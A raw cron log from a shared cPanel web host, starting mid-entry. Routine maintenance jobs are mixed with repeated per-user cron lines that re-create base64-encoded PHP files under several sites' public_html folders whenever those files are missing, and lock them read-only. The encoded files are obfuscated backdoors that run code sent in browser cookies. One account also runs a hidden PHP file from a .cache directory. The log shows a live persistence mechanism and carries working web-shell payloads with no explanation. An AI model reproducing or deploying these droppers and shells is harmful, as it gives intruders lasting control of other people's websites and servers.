nptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:55:01 medusa CROND[3550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:55:01 medusa CROND[3552]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:55:01 medusa CROND[3555]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:55:01 medusa CROND[3558]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:55:01 medusa CROND[3561]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:55:01 medusa CROND[3557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:55:01 medusa CROND[3562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:55:01 medusa CROND[3556]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:55:01 medusa CROND[3559]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:55:01 medusa CROND[3585]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:55:01 medusa CROND[3570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:56:01 medusa CROND[19467]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:56:01 medusa CROND[19703]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:56:01 medusa CROND[19709]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:56:01 medusa CROND[19711]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:56:01 medusa CROND[19712]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:56:01 medusa CROND[19713]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:56:01 medusa CROND[19714]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:56:01 medusa CROND[19705]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:56:01 medusa CROND[19706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:56:01 medusa CROND[19707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:56:01 medusa CROND[19717]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:56:01 medusa CROND[19715]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:56:01 medusa CROND[19724]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:56:01 medusa CROND[19725]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:57:01 medusa CROND[30739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:57:01 medusa CROND[30743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:57:01 medusa CROND[30745]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:57:01 medusa CROND[30747]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:57:01 medusa CROND[30744]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:57:01 medusa CROND[30746]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:57:01 medusa CROND[30748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:57:01 medusa CROND[30754]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:57:01 medusa CROND[30756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
